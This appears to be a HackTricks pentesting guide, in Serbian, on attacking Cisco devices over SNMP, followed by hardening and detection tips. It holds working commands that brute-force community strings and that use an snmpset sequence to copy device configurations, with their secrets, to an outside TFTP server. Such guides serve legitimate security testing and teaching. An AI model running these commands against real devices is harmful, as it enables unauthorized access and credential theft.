# Cisco SNMP {{#include ../../banners/hacktricks-training.md}} ## Pentesting Cisco Networks **SNMP** funkcioniše preko UDP-a sa portovima **161/UDP** za opšte poruke i **162/UDP** za trap poruke. Ovaj protokol se oslanja na *community strings*, koji služe kao plaintext "lozinke" koje omogućavaju komunikaciju između SNMP agenata i menadžera. Ove stringove određuju nivo pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**. Klasičan—ali i dalje izuzetno efikasan—napadni vektor je **brute-force community strings** kako bi se unapredilo sa neautentifikovanog korisnika na administratora uređaja (RW community). Praktičan alat za ovu svrhu je [**onesixtyone**](https://github.com/trailofbits/onesixtyone): ```bash onesixtyone -c community_strings.txt -i targets.txt ``` Druge brze opcije su Nmap NSE skripta `snmp-brute` ili Hydra-ov SNMP modul: ```bash nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24 hydra -P wordlist.txt -s 161 10.10.10.1 snmp ``` --- ### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB) Ako dobijete **RW zajednicu**, možete kopirati running-config/startup-config na TFTP/FTP server *bez CLI pristupa* zloupotrebom CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Dva uobičajena pristupa su: 1. **Nmap NSE – `snmp-ios-config`** ```bash nmap -sU -p161 --script snmp-ios-config \ --script-args creds.snmp=private 192.168.66.1 ``` Skripta automatski orkestrira operaciju kopiranja i ispisuje konfiguraciju na stdout. 2. **Ručno `snmpset` sekvenca** ```bash # Copy running-config (4) to a TFTP server (1) – random row id 1234 snmpset -v2c -c private 192.168.66.1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp 1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig 1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile 1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\ 1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo ``` Row identifikatori su *jednokratni*; ponovna upotreba unutar pet minuta izaziva `inconsistentValue` greške. Kada je datoteka na vašem TFTP serveru, možete pregledati kredencijale (`enable secret`, `username secret`, itd.) ili čak poslati izmenjenu konfiguraciju nazad na uređaj. --- ### Metasploit dobrote * **`cisco_config_tftp`** – preuzima running-config/startup-config putem TFTP nakon zloupotrebe iste MIB. * **`snmp_enum`** – prikuplja informacije o inventaru uređaja, VLAN-ovima, opisima interfejsa, ARP tabelama, itd. ```bash use auxiliary/scanner/snmp/snmp_enum set RHOSTS 10.10.100.10 set COMMUNITY public run ``` --- ## Nedavne Cisco SNMP ranjivosti (2023 – 2025) Praćenje saveta proizvođača je korisno za određivanje *zero-day-to-n-day* prilika unutar angažovanja: | Godina | CVE | Pogođena funkcija | Uticaj | |--------|-----|-------------------|--------| | 2025 | CVE-2025-20174 | SNMP podsystem | Prilagođeni paket dovodi do autentifikovanog *DoS* (reload) na IOS/IOS-XE (v1/v2c/v3). | | 2024 | CVE-2024-20373 | IPv4 ACL rukovanje | Pogrešno konfigurisane **proširene** ACL-ove tiho *ne uspevaju*, omogućavajući neautentifikovano SNMP polling kada je poznata validna zajednica/korisnik. | | 2025 | (nema CVE još) | Obilaženje ograničenja konfiguracije SNMPv3 | Validan v3 korisnik može da polluje sa adresa koje bi trebale biti odbijene. | Iskoristivost često i dalje zavisi od posedovanja zajedničkog stringa ili v3 kredencijala—još jedan razlog zašto je njihovo brute-forcing i dalje relevantno. --- ## Saveti za učvršćivanje i detekciju * Ažurirajte na fiksnu verziju IOS/IOS-XE (videti Cisco savet za gornji CVE). * Preferirajte **SNMPv3** sa `authPriv` (SHA-256/AES-256) umesto v1/v2c. ``` snmp-server group SECURE v3 priv snmp-server user monitor SECURE v3 auth sha priv aes 256 ``` * Povežite SNMP sa upravljačkim VRF-om i **ograničite sa *standardnim* numerisanim IPv4 ACL-ovima** (prošireni imenovani ACL-ovi su rizični – CVE-2024-20373). * Onemogućite **RW zajednice**; ako je operativno potrebno, ograničite ih sa ACL i pogledima: `snmp-server community RW 99 view SysView` * Pratite: - UDP/161 skokove ili neočekivane izvore (SIEM pravila). - `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` događaje koji ukazuju na promene konfiguracije van kanala. * Omogućite **SNMPv3 logovanje** i `snmp-server packetsize 1500` da smanjite određene DoS vektore. --- ## Reference - Cisco: *Kako kopirati konfiguracije na i sa Cisco uređaja koristeći SNMP* - Cisco sigurnosni savet *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373) {{#include ../../banners/hacktricks-training.md}}